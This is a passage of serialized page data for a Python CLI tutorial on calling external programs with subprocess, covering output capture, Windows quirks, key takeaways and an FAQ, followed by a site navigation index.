",[35,1514,1516],{"href":1515},"\u002Fcli-runtime-systems-integration\u002Frunning-subprocesses-from-python-clis\u002Fwrapping-git-and-other-tools-from-a-python-cli\u002F","Wrapping git and other tools from a Python CLI"," builds that module step by step, including why you should parse ",[14,1519,1520],{},"--porcelain"," output rather than the human-readable kind.",[10,1523,1524,1525,122],{},"Testing follows from the same seam. Most tests should replace the runner function and assert on the argument list it received — fast, deterministic and portable. A handful of tests should run the real program inside a temporary directory to prove the parsing matches reality; mark those so they can be skipped where the program is not installed. The general techniques are in ",[35,1526,1528],{"href":1527},"\u002Fmodern-python-cli-frameworks-architecture\u002Ftesting-python-cli-applications\u002Fmocking-filesystem-and-network-in-cli-tests\u002F","mocking filesystem and network in CLI tests",[63,1530,1532],{"id":1531},"capture-inherit-or-discard-the-output","Capture, inherit or discard the output",[10,1534,1535],{},"Every call has to answer one question about each of the child's output streams: does it go to the user, to your code, or nowhere? The three answers map onto three settings, and picking the wrong one produces the most common complaints about CLIs that shell out.",[68,1537,1538,1555,1568],{},[71,1539,1540,1543,1544,1547,1548,1550,1551,1554],{},[75,1541,1542],{},"Inherit"," (the default: ",[14,1545,1546],{},"stdout=None","). The child writes straight to your user's terminal. That is right when the child's output ",[709,1549,818],{}," the product — running the user's test suite, opening an editor with ",[14,1552,1553],{},"$EDITOR",", launching an interactive program. Colour and progress bars keep working, because the child sees a real terminal.",[71,1556,1557,1560,1561,1563,1564,1567],{},[75,1558,1559],{},"Capture"," (",[14,1562,453],{},", or ",[14,1565,1566],{},"stdout=subprocess.PIPE","). Your code receives the bytes. Right whenever you parse the result, or when you want to decide what the user sees — for example showing nothing on success and the stderr tail on failure.",[71,1569,1570,1560,1573,1576,1577,122],{},[75,1571,1572],{},"Discard",[14,1574,1575],{},"stdout=subprocess.DEVNULL","). Right for noisy helpers whose exit code is all you need, such as ",[14,1578,1579],{},"git diff --quiet",[10,1581,1582,1583,1586,1587,122],{},"A pattern that serves users well combines the last two: run quietly, and show the child's output only when something went wrong or when the user asked for ",[14,1584,1585],{},"--verbose",". It keeps the happy path to one line per step, while a failure still carries everything needed to debug it. The verbosity plumbing for that lives in ",[35,1588,1590],{"href":1589},"\u002Fadvanced-input-parsing-user-experience\u002Fstructured-logging-for-cli-apps\u002Fadding-verbose-and-quiet-logging-flags\u002F","adding verbose and quiet logging flags",[203,1592,1594],{"className":205,"code":1593,"language":207,"meta":208,"style":208},"import subprocess\n\nimport typer\n\n\ndef step(label: str, argv: list[str], verbose: bool) -> None:\n    typer.echo(f\"• {label}\", err=True)\n    proc = subprocess.run(\n        argv,\n        stdout=None if verbose else subprocess.PIPE,\n        stderr=subprocess.STDOUT,\n        stdin=subprocess.DEVNULL,\n        text=True,\n        encoding=\"utf-8\",\n    )\n    if proc.returncode != 0:\n        if not verbose and proc.stdout:\n            typer.echo(proc.stdout.rstrip(), err=True)\n        typer.echo(f\"error: {label} failed (exit {proc.returncode})\", err=True)\n        raise typer.Exit(1)\n",[14,1595,1596,1602,1606,1612,1616,1620,1649,1677,1686,1691,1716,1729,1743,1753,1763,1767,1782,1796,1809,1846],{"__ignoreMap":208},[212,1597,1598,1600],{"class":214,"line":215},[212,1599,219],{"class":218},[212,1601,223],{"class":222},[212,1603,1604],{"class":214,"line":226},[212,1605,230],{"emptyLinePlaceholder":229},[212,1607,1608,1610],{"class":214,"line":233},[212,1609,219],{"class":218},[212,1611,750],{"class":222},[212,1613,1614],{"class":214,"line":238},[212,1615,230],{"emptyLinePlaceholder":229},[212,1617,1618],{"class":214,"line":285},[212,1619,230],{"emptyLinePlaceholder":229},[212,1621,1622,1624,1627,1630,1632,1635,1637,1640,1643,1645,1647],{"class":214,"line":292},[212,1623,241],{"class":218},[212,1625,1626],{"class":244}," step",[212,1628,1629],{"class":222},"(label: ",[212,1631,258],{"class":257},[212,1633,1634],{"class":222},", argv: list[",[212,1636,258],{"class":257},[212,1638,1639],{"class":222},"], verbose: ",[212,1641,1642],{"class":257},"bool",[212,1644,277],{"class":222},[212,1646,1170],{"class":257},[212,1648,282],{"class":222},[212,1650,1651,1653,1655,1658,1660,1663,1665,1667,1669,1671,1673,1675],{"class":214,"line":304},[212,1652,1211],{"class":222},[212,1654,618],{"class":218},[212,1656,1657],{"class":288},"\"• ",[212,1659,624],{"class":257},[212,1661,1662],{"class":222},"label",[212,1664,629],{"class":257},[212,1666,632],{"class":288},[212,1668,93],{"class":222},[212,1670,855],{"class":323},[212,1672,298],{"class":218},[212,1674,340],{"class":257},[212,1676,645],{"class":222},[212,1678,1679,1682,1684],{"class":214,"line":320},[212,1680,1681],{"class":222},"    proc ",[212,1683,298],{"class":218},[212,1685,301],{"class":222},[212,1687,1688],{"class":214,"line":332},[212,1689,1690],{"class":222},"        argv,\n",[212,1692,1693,1696,1698,1700,1703,1706,1709,1712,1714],{"class":214,"line":346},[212,1694,1695],{"class":323},"        stdout",[212,1697,298],{"class":218},[212,1699,1170],{"class":257},[212,1701,1702],{"class":218}," if",[212,1704,1705],{"class":222}," verbose ",[212,1707,1708],{"class":218},"else",[212,1710,1711],{"class":222}," subprocess.",[212,1713,545],{"class":257},[212,1715,343],{"class":222},[212,1717,1718,1721,1723,1725,1727],{"class":214,"line":358},[212,1719,1720],{"class":323},"        stderr",[212,1722,298],{"class":218},[212,1724,542],{"class":222},[212,1726,559],{"class":257},[212,1728,343],{"class":222},[212,1730,1731,1734,1736,1738,1741],{"class":214,"line":370},[212,1732,1733],{"class":323},"        stdin",[212,1735,298],{"class":218},[212,1737,542],{"class":222},[212,1739,1740],{"class":257},"DEVNULL",[212,1742,343],{"class":222},[212,1744,1745,1747,1749,1751],{"class":214,"line":383},[212,1746,361],{"class":323},[212,1748,298],{"class":218},[212,1750,340],{"class":257},[212,1752,343],{"class":222},[212,1754,1755,1757,1759,1761],{"class":214,"line":396},[212,1756,373],{"class":323},[212,1758,298],{"class":218},[212,1760,378],{"class":288},[212,1762,343],{"class":222},[212,1764,1765],{"class":214,"line":402},[212,1766,399],{"class":222},[212,1768,1769,1771,1774,1777,1780],{"class":214,"line":411},[212,1770,806],{"class":218},[212,1772,1773],{"class":222}," proc.returncode ",[212,1775,1776],{"class":218},"!=",[212,1778,1779],{"class":257}," 0",[212,1781,282],{"class":222},[212,1783,1784,1786,1789,1791,1794],{"class":214,"line":416},[212,1785,1091],{"class":218},[212,1787,1788],{"class":218}," not",[212,1790,1705],{"class":222},[212,1792,1793],{"class":218},"and",[212,1795,608],{"class":222},[212,1797,1798,1801,1803,1805,1807],{"class":214,"line":421},[212,1799,1800],{"class":222},"            typer.echo(proc.stdout.rstrip(), ",[212,1802,855],{"class":323},[212,1804,298],{"class":218},[212,1806,340],{"class":257},[212,1808,645],{"class":222},[212,1810,1811,1813,1815,1817,1819,1821,1823,1826,1828,1831,1833,1836,1838,1840,1842,1844],{"class":214,"line":950},[212,1812,827],{"class":222},[212,1814,618],{"class":218},[212,1816,832],{"class":288},[212,1818,624],{"class":257},[212,1820,1662],{"class":222},[212,1822,629],{"class":257},[212,1824,1825],{"class":288}," failed (exit ",[212,1827,624],{"class":257},[212,1829,1830],{"class":222},"proc.returncode",[212,1832,629],{"class":257},[212,1834,1835],{"class":288},")\"",[212,1837,93],{"class":222},[212,1839,855],{"class":323},[212,1841,298],{"class":218},[212,1843,340],{"class":257},[212,1845,645],{"class":222},[212,1847,1848,1850,1852,1854],{"class":214,"line":994},[212,1849,866],{"class":218},[212,1851,869],{"class":222},[212,1853,1118],{"class":257},[212,1855,645],{"class":222},[10,1857,1858,1859,1862,1863,1866,1867,122],{},"Note what the captured output does ",[709,1860,1861],{},"not"," do here: it never goes to your own stdout. Your stdout belongs to your command's results, and a child's chatter mixed into it breaks anyone piping your tool into ",[14,1864,1865],{},"jq"," — the rule set out in ",[35,1868,1870],{"href":1869},"\u002Fadvanced-input-parsing-user-experience\u002Fworking-with-stdin-stdout-and-pipes\u002Femitting-json-output-for-scripting\u002F","emitting JSON output for scripting",[63,1872,1874],{"id":1873},"cross-platform-differences-worth-knowing","Cross-platform differences worth knowing",[10,1876,1877],{},"Most subprocess code written on Linux runs unchanged on macOS. Windows is where the differences surface, and a CLI with Windows users should expect them:",[68,1879,1880,1922,1946,1960],{},[71,1881,1882,1885,1886,1888,1889,1892,1893,1896,1897,1899,1900,1903,1904,1907,1908,1911,1912,1915,1916,1919,1920,122],{},[75,1883,1884],{},"Executable lookup."," Windows resolves ",[14,1887,20],{}," to ",[14,1890,1891],{},"git.exe"," via ",[14,1894,1895],{},"PATHEXT",", but a script such as ",[14,1898,24],{}," is really ",[14,1901,1902],{},"npm.cmd",", which ",[14,1905,1906],{},"CreateProcess"," cannot run without a shell. ",[14,1909,1910],{},"shutil.which(\"npm\")"," returns the full ",[14,1913,1914],{},".cmd"," path; pass that path as ",[14,1917,1918],{},"argv[0]"," and it works without ",[14,1921,85],{},[71,1923,1924,1927,1928,1930,1931,1934,1935,1938,1939,1942,1943,122],{},[75,1925,1926],{},"Signals."," There is no ",[14,1929,675],{}," to send to another process. ",[14,1932,1933],{},"proc.terminate()"," calls ",[14,1936,1937],{},"TerminateProcess",", which is abrupt, and ",[14,1940,1941],{},"CTRL_BREAK_EVENT"," only reaches children started with ",[14,1944,1945],{},"CREATE_NEW_PROCESS_GROUP",[71,1947,1948,1951,1952,1955,1956,1959],{},[75,1949,1950],{},"Encoding."," Console programs may emit the OEM code page rather than UTF-8. Setting ",[14,1953,1954],{},"encoding=\"utf-8\""," plus ",[14,1957,1958],{},"errors=\"replace\""," on output you only display avoids crashes on a stray byte.",[71,1961,1962,1965,1966,1968],{},[75,1963,1964],{},"Quoting."," Windows passes a single command-line string to the child, which parses it itself. Python's list-to-string conversion follows the Microsoft C runtime rules, which is right for most programs and wrong for ",[14,1967,1471],{}," built-ins.",[10,1970,1971,1972,1974,1975,1979],{},"None of these argue for ",[14,1973,85],{},"; they argue for resolving executables explicitly and testing on a Windows runner in CI, which ",[35,1976,1978],{"href":1977},"\u002Fproject-setup-dependency-management\u002Fci-cd-pipelines-for-python-clis\u002Ftesting-a-cli-across-python-versions-with-github-actions\u002F","testing a CLI across Python versions with GitHub Actions"," sets up alongside the version matrix.",[63,1981,1983],{"id":1982},"key-takeaways","Key takeaways",[68,1985,1986,1989,1998,2019,2030,2033],{},[71,1987,1988],{},"Treat every external program as a boundary with inputs, outputs, failure modes and a timeout.",[71,1990,1991,1992,1994,1995,1997],{},"Argument lists by default; ",[14,1993,85],{}," only for constant strings; ",[14,1996,1489],{}," before untrusted positionals.",[71,1999,2000,2001,93,2003,93,2005,100,2007,93,2009,93,2011,93,2013,52,2015,2018],{},"Decide ",[14,2002,92],{},[14,2004,96],{},[14,2006,99],{},[14,2008,103],{},[14,2010,106],{},[14,2012,1402],{},[14,2014,148],{},[14,2016,2017],{},"stdin"," on purpose.",[71,2020,2021,2023,2024,2026,2027,2029],{},[14,2022,113],{}," for short calls, ",[14,2025,117],{}," in a ",[14,2028,493],{}," block for live output or supervision.",[71,2031,2032],{},"Translate failures into your own messages and exit codes (124 for timeouts, 127 for missing programs).",[71,2034,2035],{},"Funnel all calls to one program through one runner so tests have a single thing to replace.",[63,2037,2039],{"id":2038},"frequently-asked-questions","Frequently asked questions",[2041,2042,2044,2045,2048],"h3",{"id":2043},"is-ossystem-ever-the-right-choice","Is ",[14,2046,2047],{},"os.system()"," ever the right choice?",[10,2050,2051,2052,2054,2055,122],{},"Not in a CLI you intend to maintain. It always goes through a shell, returns an encoded wait status rather than a plain exit code, and gives you no access to the output. Everything it does, ",[14,2053,163],{}," does more safely, and the migration is mechanical: split the string into a list and add ",[14,2056,449],{},[2041,2058,2060,2061,93,2064,2067],{"id":2059},"should-i-use-sh-plumbum-or-another-wrapper-library","Should I use ",[14,2062,2063],{},"sh",[14,2065,2066],{},"plumbum"," or another wrapper library?",[10,2069,2070,2071,2073],{},"They make shell-heavy scripts more pleasant, and for a personal automation script that can be worth it. For a distributed CLI, the standard library is usually better: one less dependency, no import-time cost, and every Python developer already knows how ",[14,2072,32],{}," behaves. The thin wrapper module described above gives you most of the ergonomics.",[2041,2075,2077],{"id":2076},"how-do-i-run-a-command-with-sudo-from-my-cli","How do I run a command with sudo from my CLI?",[10,2079,2080,2081,2084],{},"Prefer not to. Ask the user to run your tool with the privileges it needs, and fail early with a clear message if it lacks them. If you must, call ",[14,2082,2083],{},"[\"sudo\", \"--\", program, *args]"," so sudo prompts on the real terminal, and never pipe a password to it programmatically.",[2041,2086,2088,2089,2091],{"id":2087},"why-does-my-child-process-see-a-different-path-than-my-shell","Why does my child process see a different ",[14,2090,1316],{}," than my shell?",[10,2093,2094,2095,2097,2098,2100],{},"Usually because your tool was launched from somewhere that did not load your shell profile — a cron job, a systemd unit, an IDE, or a GUI launcher. Resolve the program with ",[14,2096,1276],{}," and report the ",[14,2099,1316],{}," you searched when it is missing; that single line turns a baffling failure into an obvious one.",[2041,2102,2104],{"id":2103},"can-i-call-a-python-function-in-a-subprocess-instead-of-a-whole-program","Can I call a Python function in a subprocess instead of a whole program?",[10,2106,110,2107,25,2110,2113,2114,2117,2118,122],{},[14,2108,2109],{},"multiprocessing",[14,2111,2112],{},"concurrent.futures.ProcessPoolExecutor"," for that; they handle pickling arguments and results. Running ",[14,2115,2116],{},"[sys.executable, \"-m\", \"yourpackage.worker\"]"," is the right move only when you want real isolation — a separate interpreter with its own crash domain. See ",[35,2119,2121],{"href":2120},"\u002Fcli-runtime-systems-integration\u002Fconcurrency-and-async-in-python-clis\u002Fmultiprocessing-for-cpu-bound-cli-tasks\u002F","multiprocessing for CPU-bound CLI tasks",[63,2123,2125],{"id":2124},"related","Related",[68,2127,2128,2133,2140,2145,2150,2154,2159,2165],{},[71,2129,2130,2131],{},"Up: ",[35,2132,46],{"href":45},[71,2134,2135,2136],{},"Down: ",[35,2137,2139],{"href":2138},"\u002Fcli-runtime-systems-integration\u002Frunning-subprocesses-from-python-clis\u002Fcalling-external-commands-safely-with-subprocess\u002F","Calling external commands safely with subprocess",[71,2141,2135,2142],{},[35,2143,2144],{"href":193},"Streaming subprocess output in real time",[71,2146,2135,2147],{},[35,2148,2149],{"href":696},"Handling subprocess timeouts and exit codes",[71,2151,2135,2152],{},[35,2153,1516],{"href":1515},[71,2155,2135,2156],{},[35,2157,2158],{"href":1493},"Avoiding shell injection in Python CLIs",[71,2160,2161,2162],{},"Sideways: ",[35,2163,2164],{"href":50},"Filesystem paths and atomic writes",[71,2166,2161,2167],{},[35,2168,2170],{"href":2169},"\u002Fadvanced-input-parsing-user-experience\u002Ferror-handling-and-exit-codes\u002F","Error handling and exit codes",[2172,2173,2174],"style",{},"html pre.shiki code .szBVR, html code.shiki .szBVR{--shiki-default:#D73A49;--shiki-dark:#F97583}html pre.shiki code .sVt8B, html code.shiki .sVt8B{--shiki-default:#24292E;--shiki-dark:#E1E4E8}html pre.shiki code .sScJk, html code.shiki .sScJk{--shiki-default:#6F42C1;--shiki-dark:#B392F0}html pre.shiki code .sj4cs, html code.shiki .sj4cs{--shiki-default:#005CC5;--shiki-dark:#79B8FF}html pre.shiki code .sZZnC, html code.shiki .sZZnC{--shiki-default:#032F62;--shiki-dark:#9ECBFF}html pre.shiki code .s4XuR, html code.shiki .s4XuR{--shiki-default:#E36209;--shiki-dark:#FFAB70}html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html.dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}",{"title":208,"searchDepth":226,"depth":226,"links":2176},[2177,2178,2180,2181,2182,2183,2184,2185,2186,2187,2188,2198],{"id":65,"depth":226,"text":66},{"id":152,"depth":226,"text":2179},"run() first, Popen when you must",{"id":475,"depth":226,"text":476},{"id":700,"depth":226,"text":701},{"id":1296,"depth":226,"text":1297},{"id":1453,"depth":226,"text":1454},{"id":1497,"depth":226,"text":1498},{"id":1531,"depth":226,"text":1532},{"id":1873,"depth":226,"text":1874},{"id":1982,"depth":226,"text":1983},{"id":2038,"depth":226,"text":2039,"children":2189},[2190,2192,2194,2195,2197],{"id":2043,"depth":233,"text":2191},"Is os.system() ever the right choice?",{"id":2059,"depth":233,"text":2193},"Should I use sh, plumbum or another wrapper library?",{"id":2076,"depth":233,"text":2077},{"id":2087,"depth":233,"text":2196},"Why does my child process see a different PATH than my shell?",{"id":2103,"depth":233,"text":2104},{"id":2124,"depth":226,"text":2125},"2026-09-18","Call external programs from a Python CLI without surprises: argument lists, check=True, streaming output, timeouts, exit-code translation and injection safety.","intermediate",false,"md",{},"\u002Fcli-runtime-systems-integration\u002Frunning-subprocesses-from-python-clis",{"title":5,"description":2200},"cli-runtime-systems-integration\u002Frunning-subprocesses-from-python-clis\u002Findex",[32,2209,2210,2211],"processes","security","cli","jVHvvQFVC2JlWA3YfpidoKj6ApBYrhIp6bV32_KwXn4",[2214,2217,2220,2223,2226,2229,2232,2235,2238,2241,2244,2247,2250,2253,2256,2259,2262,2265,2268,2271,2274,2277,2280,2283,2286,2289,2292,2295,2298,2301,2304,2307,2310,2313,2316,2319,2322,2325,2328,2331,2334,2337,2340,2343,2346,2349,2352,2355,2358,2361,2364,2367,2370,2373,2376,2379,2382,2385,2388,2391,2394,2397,2400,2403,2406,2409,2412,2415,2418,2421,2424,2427,2430,2433,2436,2439,2442,2445,2448,2451,2454,2457,2460,2461,2464,2467,2470,2473,2476,2479,2482,2485,2487,2490,2493,2496,2499,2502,2505,2508,2511,2514,2517,2520,2523,2526,2529,2532,2535,2538,2541,2544,2547,2550,2553,2556,2559,2562,2565,2568,2571,2574,2577,2580,2583,2586,2589,2592,2595,2598,2601,2604,2607,2610,2613,2616,2619,2622,2625,2628,2631,2634,2637,2640,2643,2646,2649,2652,2655,2658,2661,2664,2667,2670,2673,2676,2679,2682,2685,2688,2691,2694,2697,2700,2703,2706,2709,2712,2715,2718,2721,2724,2727,2730,2733,2736,2739,2742,2745,2748,2751,2754,2757],{"path":2215,"title":2216},"\u002Fabout","About Python CLI Toolcraft",{"path":2218,"title":2219},"\u002Fadvanced-input-parsing-user-experience\u002Fadvanced-argument-validation-strategies","Advanced Argument Validation Strategies",{"path":2221,"title":2222},"\u002Fadvanced-input-parsing-user-experience\u002Fadvanced-argument-validation-strategies\u002Fparsing-nested-json-arguments-in-python-clis","Parsing Nested JSON Args in Python CLIs",{"path":2224,"title":2225},"\u002Fadvanced-input-parsing-user-experience\u002Fadvanced-argument-validation-strategies\u002Fvalidating-dependent-and-conflicting-options","Validating Dependent and Conflicting CLI Options",{"path":2227,"title":2228},"\u002Fadvanced-input-parsing-user-experience\u002Fadvanced-argument-validation-strategies\u002Fvalidating-file-and-directory-paths-in-clis","Validating File and Directory Paths in CLIs",{"path":2230,"title":2231},"\u002Fadvanced-input-parsing-user-experience\u002Fadvanced-argument-validation-strategies\u002Fwriting-custom-click-parameter-types","Writing Custom Click Parameter Types",{"path":2233,"title":2234},"\u002Fadvanced-input-parsing-user-experience\u002Fbuilding-terminal-uis-with-textual\u002Fbuilding-your-first-textual-app","Building Your First Textual App for a Python CLI",{"path":2236,"title":2237},"\u002Fadvanced-input-parsing-user-experience\u002Fbuilding-terminal-uis-with-textual\u002Fchoosing-between-a-cli-a-prompt-flow-and-a-tui","Choosing Between a CLI, a Prompt Flow and a TUI",{"path":2239,"title":2240},"\u002Fadvanced-input-parsing-user-experience\u002Fbuilding-terminal-uis-with-textual","Building Terminal UIs with Textual for Python CLIs",{"path":2242,"title":2243},"\u002Fadvanced-input-parsing-user-experience\u002Fbuilding-terminal-uis-with-textual\u002Ftesting-textual-apps-with-pilot","Testing Textual Apps with Pilot",{"path":2245,"title":2246},"\u002Fadvanced-input-parsing-user-experience\u002Fcli-help-output-and-documentation\u002Fadding-examples-and-epilogs-to-help-output","Adding Examples and Epilogs to Help Output",{"path":2248,"title":2249},"\u002Fadvanced-input-parsing-user-experience\u002Fcli-help-output-and-documentation\u002Fgenerating-man-pages-and-docs-from-a-cli","Generating Man Pages and Docs from a CLI",{"path":2251,"title":2252},"\u002Fadvanced-input-parsing-user-experience\u002Fcli-help-output-and-documentation","CLI Help Output and Documentation",{"path":2254,"title":2255},"\u002Fadvanced-input-parsing-user-experience\u002Fcli-help-output-and-documentation\u002Fversioning-and-deprecating-cli-flags","Versioning and Deprecating CLI Flags",{"path":2257,"title":2258},"\u002Fadvanced-input-parsing-user-experience\u002Fcli-help-output-and-documentation\u002Fwriting-help-text-users-actually-read","Writing Help Text Users Actually Read",{"path":2260,"title":2261},"\u002Fadvanced-input-parsing-user-experience\u002Fcross-platform-terminal-compatibility\u002Fadapting-output-to-terminal-width","Adapting Python CLI Output to Terminal Width",{"path":2263,"title":2264},"\u002Fadvanced-input-parsing-user-experience\u002Fcross-platform-terminal-compatibility\u002Fdetecting-ci-environments-and-non-interactive-shells","Detecting CI Environments and Non-Interactive Shells",{"path":2266,"title":2267},"\u002Fadvanced-input-parsing-user-experience\u002Fcross-platform-terminal-compatibility\u002Ffixing-unicode-and-encoding-errors-on-windows","Fixing Unicode and Encoding Errors on Windows in Python CLIs",{"path":2269,"title":2270},"\u002Fadvanced-input-parsing-user-experience\u002Fcross-platform-terminal-compatibility","Cross-Platform Terminal Compatibility for Python CLIs",{"path":2272,"title":2273},"\u002Fadvanced-input-parsing-user-experience\u002Fcross-platform-terminal-compatibility\u002Frespecting-no-color-and-force-color","Respecting NO_COLOR and FORCE_COLOR in Python CLIs",{"path":2275,"title":2276},"\u002Fadvanced-input-parsing-user-experience\u002Ferror-handling-and-exit-codes\u002Fchoosing-exit-codes-for-cli-tools","Choosing Exit Codes for CLI Tools",{"path":2278,"title":2279},"\u002Fadvanced-input-parsing-user-experience\u002Ferror-handling-and-exit-codes\u002Fdesigning-an-exception-hierarchy-for-a-cli","Designing an Exception Hierarchy for a Python CLI",{"path":2281,"title":2282},"\u002Fadvanced-input-parsing-user-experience\u002Ferror-handling-and-exit-codes\u002Ffriendly-error-messages-and-tracebacks","Friendly Error Messages and Tracebacks",{"path":2284,"title":2285},"\u002Fadvanced-input-parsing-user-experience\u002Ferror-handling-and-exit-codes\u002Fhandling-keyboard-interrupt-cleanly","Handling Keyboard Interrupt Cleanly",{"path":2287,"title":2288},"\u002Fadvanced-input-parsing-user-experience\u002Ferror-handling-and-exit-codes","Error Handling and Exit Codes for CLIs",{"path":2290,"title":2291},"\u002Fadvanced-input-parsing-user-experience\u002Ferror-handling-and-exit-codes\u002Freporting-machine-readable-errors-in-json-mode","Reporting Machine-Readable Errors in JSON Mode",{"path":2293,"title":2294},"\u002Fadvanced-input-parsing-user-experience\u002Fhandling-configuration-files-env-vars\u002Fconfig-precedence-flags-env-files-defaults","Config Precedence: Flags, Env, Files, Defaults",{"path":2296,"title":2297},"\u002Fadvanced-input-parsing-user-experience\u002Fhandling-configuration-files-env-vars\u002Fdiscovering-project-config-files-by-walking-up-directories","Discovering Project Config Files by Walking Up Directories",{"path":2299,"title":2300},"\u002Fadvanced-input-parsing-user-experience\u002Fhandling-configuration-files-env-vars","Handling Config Files and Env Vars in CLIs",{"path":2302,"title":2303},"\u002Fadvanced-input-parsing-user-experience\u002Fhandling-configuration-files-env-vars\u002Floading-yaml-configs-safely-in-cli-apps","Loading YAML configs safely in CLI apps",{"path":2305,"title":2306},"\u002Fadvanced-input-parsing-user-experience\u002Fhandling-configuration-files-env-vars\u002Freading-toml-config-with-tomllib","Reading TOML Config with tomllib in Python CLIs",{"path":2308,"title":2309},"\u002Fadvanced-input-parsing-user-experience\u002Fhandling-configuration-files-env-vars\u002Ftyped-settings-with-pydantic-settings","Typed Settings with pydantic-settings in Python CLIs",{"path":2311,"title":2312},"\u002Fadvanced-input-parsing-user-experience","Advanced Input Parsing for Python CLIs",{"path":2314,"title":2315},"\u002Fadvanced-input-parsing-user-experience\u002Finteractive-terminal-ui-with-rich\u002Fadding-progress-bars-and-spinners-to-python-clis","Progress Bars and Spinners for Python CLIs",{"path":2317,"title":2318},"\u002Fadvanced-input-parsing-user-experience\u002Finteractive-terminal-ui-with-rich\u002Fbuilding-interactive-prompts-and-menus","Building Interactive Prompts and Menus in Python CLIs",{"path":2320,"title":2321},"\u002Fadvanced-input-parsing-user-experience\u002Finteractive-terminal-ui-with-rich","Interactive Terminal UI with Rich",{"path":2323,"title":2324},"\u002Fadvanced-input-parsing-user-experience\u002Finteractive-terminal-ui-with-rich\u002Flive-dashboards-with-rich-live","Live Dashboards with Rich Live in Python CLIs",{"path":2326,"title":2327},"\u002Fadvanced-input-parsing-user-experience\u002Finteractive-terminal-ui-with-rich\u002Frendering-tables-and-json-with-rich","Rendering Tables and JSON with Rich",{"path":2329,"title":2330},"\u002Fadvanced-input-parsing-user-experience\u002Finteractive-terminal-ui-with-rich\u002Ftheming-rich-output-consistently","Theming Rich Output Consistently in Python CLIs",{"path":2332,"title":2333},"\u002Fadvanced-input-parsing-user-experience\u002Fshell-completion-for-python-clis\u002Fdynamic-completion-values-from-apis-and-files","Dynamic Completion Values from APIs and Files",{"path":2335,"title":2336},"\u002Fadvanced-input-parsing-user-experience\u002Fshell-completion-for-python-clis\u002Fenabling-tab-completion-in-click-and-typer","Enabling Tab Completion in Click and Typer",{"path":2338,"title":2339},"\u002Fadvanced-input-parsing-user-experience\u002Fshell-completion-for-python-clis","Shell Completion for Python CLIs",{"path":2341,"title":2342},"\u002Fadvanced-input-parsing-user-experience\u002Fshell-completion-for-python-clis\u002Finstalling-shell-completion-for-bash-zsh-fish","Installing Shell Completion for bash, zsh, fish",{"path":2344,"title":2345},"\u002Fadvanced-input-parsing-user-experience\u002Fshell-completion-for-python-clis\u002Ftesting-shell-completion-in-python-clis","Testing Shell Completion in Python CLIs",{"path":2347,"title":2348},"\u002Fadvanced-input-parsing-user-experience\u002Fstructured-logging-for-cli-apps\u002Fadding-trace-ids-and-context-to-cli-logs","Adding Trace IDs and Context to Python CLI Logs",{"path":2350,"title":2351},"\u002Fadvanced-input-parsing-user-experience\u002Fstructured-logging-for-cli-apps\u002Fadding-verbose-and-quiet-logging-flags","Adding Verbose and Quiet Logging Flags",{"path":2353,"title":2354},"\u002Fadvanced-input-parsing-user-experience\u002Fstructured-logging-for-cli-apps","Structured Logging for CLI Apps",{"path":2356,"title":2357},"\u002Fadvanced-input-parsing-user-experience\u002Fstructured-logging-for-cli-apps\u002Fstructured-json-logging-in-python-clis","Structured JSON Logging in Python CLIs",{"path":2359,"title":2360},"\u002Fadvanced-input-parsing-user-experience\u002Fstructured-logging-for-cli-apps\u002Fwriting-rotating-log-files-from-a-cli","Writing Rotating Log Files from a Python CLI",{"path":2362,"title":2363},"\u002Fadvanced-input-parsing-user-experience\u002Fworking-with-stdin-stdout-and-pipes\u002Fdetecting-tty-and-adapting-output","Detecting a TTY and Adapting Output",{"path":2365,"title":2366},"\u002Fadvanced-input-parsing-user-experience\u002Fworking-with-stdin-stdout-and-pipes\u002Femitting-json-output-for-scripting","Emitting JSON Output for Scripting",{"path":2368,"title":2369},"\u002Fadvanced-input-parsing-user-experience\u002Fworking-with-stdin-stdout-and-pipes\u002Fhandling-broken-pipe-and-sigpipe","Handling Broken Pipe and SIGPIPE",{"path":2371,"title":2372},"\u002Fadvanced-input-parsing-user-experience\u002Fworking-with-stdin-stdout-and-pipes","Working with stdin, stdout and Pipes",{"path":2374,"title":2375},"\u002Fadvanced-input-parsing-user-experience\u002Fworking-with-stdin-stdout-and-pipes\u002Fprocessing-large-files-and-ndjson-streams","Processing Large Files and NDJSON Streams in Python CLIs",{"path":2377,"title":2378},"\u002Fadvanced-input-parsing-user-experience\u002Fworking-with-stdin-stdout-and-pipes\u002Freading-piped-input-in-python-clis","Reading Piped Input in Python CLIs",{"path":2380,"title":2381},"\u002Fcli-runtime-systems-integration\u002Fcalling-http-apis-from-python-clis\u002Fbuilding-an-api-client-cli-with-httpx","Building an API Client CLI with httpx",{"path":2383,"title":2384},"\u002Fcli-runtime-systems-integration\u002Fcalling-http-apis-from-python-clis\u002Fdownloading-files-with-progress-in-python","Downloading Files with Progress in Python CLIs",{"path":2386,"title":2387},"\u002Fcli-runtime-systems-integration\u002Fcalling-http-apis-from-python-clis","Calling HTTP APIs from Python CLIs",{"path":2389,"title":2390},"\u002Fcli-runtime-systems-integration\u002Fcalling-http-apis-from-python-clis\u002Foauth-device-flow-login-for-clis","OAuth Device Flow Login for Python CLIs",{"path":2392,"title":2393},"\u002Fcli-runtime-systems-integration\u002Fcalling-http-apis-from-python-clis\u002Fpaginating-api-results-in-a-cli","Paginating API Results in a Python CLI",{"path":2395,"title":2396},"\u002Fcli-runtime-systems-integration\u002Fcalling-http-apis-from-python-clis\u002Fretries-and-backoff-for-cli-http-calls","Retries and Backoff for CLI HTTP Calls",{"path":2398,"title":2399},"\u002Fcli-runtime-systems-integration\u002Fconcurrency-and-async-in-python-clis\u002Fcancelling-async-tasks-on-ctrl-c","Cancelling Async Tasks on Ctrl+C in Python CLIs",{"path":2401,"title":2402},"\u002Fcli-runtime-systems-integration\u002Fconcurrency-and-async-in-python-clis","Concurrency and Async in Python 